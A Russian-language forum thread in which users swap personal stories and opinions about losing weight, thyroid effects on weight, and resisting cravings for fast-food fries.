Гость из Закарпатья, ну вот у меня тоже знакомая сильно похудела с помощью диеты и физкультуры. Фигура у нее стала стройная, не спорю, хотя и утратила бывшие ранее впечатляющие формы. Но зато лицо так осунулось, что аж смотреть на нее жалко. Кстати, похудение никак не сказалось на ее личной жизни - она по-прежнему одинока. И вообще, теперь по общему впечатлению она даже проигрывает самой себе бывшей. Пышечкой она в целом выглядела свежей и цветущей, а теперь смотрится какой-то осунувшейся, как бы увядшей. Может кто знает, как можно при похудании сохранить формы и особенно лицо? Есть какой-нибудь способ?
Ответить
Поддерживаю Да0 / Нет0
Еваника
18243 Еваника
Еваника offline
Репутация : 168914
Комментариев 1685 4
21 января 14:23:34
2016-01-21 14:23:34

Я вот раньше не верила, что гормоны могут реально повлиять на вес человека. Всегда считала, что в избытке или недостатке веса виноват только пищевой режим человека. Однако, перед моими глазами пример моего собственного брата, который из-за избытка гормонов щитовидной железы за полтора месяца потерял почти 30 кг! И из нормального 87 килограммового мужчины превратился в доходягу весом 60 кг. При этом он нормально ел. И только когда выяснили, что у него гипертериоз это стремительное похудание удалось остановить. За год на таблетках удалось ему вернуть килограмм 17-20. А с ним лежали люди с гипотериозом, у них замедленный обмен веществ, из-за этого проблемы с весом, отечность и много еще чего.

Конечно, очень многое зависит от питания и движения. НО есть, к сожалению, и такие проблемы, которые от человека не зависят.

Ответить
Поддерживаю Да4 / Нет0
А в голове: "на лабутенах я..."
Гость
Гость

21 января 16:50:52
2016-01-21 16:50:52
Почитайте книгу Методика похудения доктора Ковалькова, в инете есть. Безумно интересно, а самое главное это не диета! И он обьясняет почему нельзя сидеть на диете и много ещё чего, о чем мы даже никогда бы не подумали при похудении. Он лучший врач, да именно врач, так как полнота это болезнь, в России, с ним многие наши звезды худеют. Не пожалеете!
Ответить
Поддерживаю Да0 / Нет0
ксюня-звезда
7355 ксюня-звезда
Ксюня-звезда offline
Репутация : 173945
Комментариев 5951 9
27 января 18:11:41
2016-01-27 18:11:41

Вы огромная молодец что похудели!!И не только во внешнем результате дело, но и здоровее будете!Все знают же что супчик и овощи и кашка-это гораздо полезнее чем всякие жирные продукты!Я вот худая с детства, но при этом сейчас стараюсь питаться как можно полезнее не для того чтобы похудеть еще больше, а чтобы со здоровьем все было в порядке. Ем поменьше сладкого, не ем чипсы сухарики, лимонады редко, любимые блюда у меня теперь-куриное филе с овощами, а особенно с гавайской смесью люблю))И еще что заметила-как поем фастфуд сразу появляются прыщики, а это отвратительно, это хуже чем жир!!!Поэтому кто знает как полностью отказаться от гамбургеров и картошечки фри и даже не смотреть в их сторону, посоветуйте плиз))))это мой последний шаг к правильному питанию будет)))

Ответить
Поддерживаю Да1 / Нет0
ХОТЕЛА ЗАМУЖ... Пересмотрела взгляды на жизнь!.....Теперь хочу длинные волосы, новые туфельки, машин
Инна Р
19181 Инна Р
Инна Р offline
Репутация : 73528
Комментариев 795 2
28 января 11:46:00
2016-01-28 11:46:00

ксюня-звезда , Никак не откажешься добровольно, только заставлять себя не есть. Тоже иногда мечтаю о фри с сырным соусом или коктельным{#} аж до слюней как у шарпея, особенно проходя мимо макдональдса. Помогает мысль от том, что они туда добавляют какие-то пищевые добавки, вызывающие чуть ли не наркотическую зависимость у населения, иначе ну не может обычная картошка так затягивать. Там точно что то добавлено, возможно что то очень вредное для здоровья и для нервной системы.

Ответить
Поддерживаю Да1 / Нет0
Жена ингуша
8745 Жена ингуша
Жена ингуша online
Репутация : 2561067
Комментариев 14440 50
28 января 13:21:44
2016-01-28 13:21:44

Инна Р, зря говорите, что не может обычная картошка затягивать)) Кто не любит обычную жареную картошку? Вчера Татьяна Тарасова (тренер фигуристов) сказала в одной программе - "Вот от чего, от чего, а от жареной картошечки ни за что не откажусь!")) А она очень полная)

Я тоже очень люблю жареную картошку, но не позволяю себе её. Как по мне, мне никаких Макдональдсов не надо, дайте мне просто сковородку жареной картошки))))

Так что очень даже может затягивать)

А ещё вчера прикол, смотрела передачу эту, в которой и Тарасова была. Девка поправилась на 10 кг, во всём винит скидочные системы, ну там купоны на скидки и так далее. Подала в суд иск на 18 миллионов рублей! Что, мол, из-за этих купонов она потолстела, ходила в рестораны, жрала, и типа поэтому поправилась и теперь у неё из-за них проблемы со здоровьем и в личной жизни)) Вся студия у виска вертела, капец, она жрёт, а виноваты скидки))) Доходит до абсурда, люди уже не знают, кого и винить, единицы ведь на самом деле толстеют из-за болезней! В основном, это банальная распущенность и вседозволенность.

Ответить
Поддерживаю Да4 / Нет0
- Нажмите любую клавишу. - Эту можно? - Эту нет.
Гость
Гость

28 января 13:48:28
2016-01-28 13:48:28
Инна Р, Там обычная картошка. Возьмите сами картошку, нарежьте, посолите и поджарьте во фритюре, будет абсолютно тоже самое. Из пищевых добавок только соль. Это не рентабельно брать дешевую картошку и пичкать ее дорогими химикатами, ради какого то мифического увлечения продаж. Когда без той же химии можно продавать раз в 50 дороже себестоимости.
Ответить
Поддерживаю Да1 / Нет0
Инна Р
19181 Инна Р
Инна Р offline
Репутация : 73528
Комментариев 795 2
28 января 14:19:18
2016-01-28 14:19:18

Жена ингуша, Вот дома почему то не особо тянет почистить картафана, обжарить и съесть, незнаю, но как только вспоминаю этот макдональдсовский фри или по деревенски, то он мне уже ночами снится. Может тогда если не в картошку, то в соусы добавляют там чего то ? Я конечно не эксперт в пищевой промышленности, но слышала на счёт фастфудов, что в биг маки и другие гамбургеры добавляют усилители вкуса вызывающие привыкание, потому народ так на них и подсел. А там уж не знаю где правда где нет. Хотя вполне может быть у меня просто обычная желудочная ломка, вызванная салатными диетами{#}, поэтому картошечки хочется иногда. И именно из фастфуда и с соусом. Даже мяса так не охота.

Ответить
Поддерживаю Да0 / Нет0
Жена ингуша
8745 Жена ингуша
Жена ингуша online
Репутация : 2561067
Комментариев 14440 50
28 января 14:52:55
2016-01-28 14:52:55

Инна Р, ну на вкус и цвет... Мне например, если предложат картошку (при условии, что было бы можно её есть мне) фри из Мака или домашнюю жареную, я однозначно выберу домашнюю. Тут дело вкуса) И в Макдональдс меня ни за какие коврижки не заманишь, их бутерброды с фаршем есть... Как по мне, гораздо вкуснее домашние котлеты)

Ответить
Поддерживаю Да2 / Нет0
- Нажмите любую клавишу. - Эту можно? - Эту нет.
Гость
Гость

28 января 14:54:47
2016-01-28 14:54:47
Инна Р, Вы правы усилители вкуса действительно способствуют мощному привыканию. Самые мощные усилители вкуса это обычная соль и сахар. Можно более менее спокойно отказаться от вредных продуктов, но попробуйте отказаться сразу от соли или сахара. Не ищите вы виновников. В соусы больше разных добавок пичкают, что бы увеличить срок хранения и вкуса, но большинство из них мы каждый день едим дома. Даже во время засолки многие добавляют или уксус или аспирин с той же целью. Кстати терпеть не могу соусы в фастфудах, не вкусные. Тянет вас на это, потому, что это быстрые углеводы и так организм получает быстро энергию, которая так же быстро тратиться, хотя особой пользы в продуктах таких и нет. Если вы на диете, то возможно у вас недостаток углеводов, от сюда их жажда организма получить их моментально.
Ответить
Поддерживаю Да0 / Нет0
Инна Р
19181 Инна Р
Инна Р offline
Репутация : 73528
Комментариев 795 2
28 января 15:56:21
2016-01-28 15:56:21

Гость, да я уже давно в отказе от сахара и соли. Точней от сахара полностью, а соли частично. Всё равно чуть чуть приходится подсаливать домашнюю готовку, иначе совсем пресно. Вот и тянет тянет желудок набить разной вредятиной, но мы не сдаёмся{#} обходим все эти заведения стороной. Просто меня очень уж устраивает мой новый размер 42-44 кг, да и выбор одежды среди S и M шире, чем больших размеров, так что теперь я свой вес так просто не отдам.

Ответить
Поддерживаю Да0 / Нет0
Уважаемые пользователи, у каждого человека своя точка зрения на то, что изложено в истории. Даже если Вы не согласны с автором истории или с другими читателями, пытайтесь выражать свое мнение в деликатной форме. Чтобы обгадить другого, много ума не нужно, а вот помочь дельным советом не каждый сможет.
Имя :
Пол: Гость Гость
Простой редактор

Введите число указанное на картинке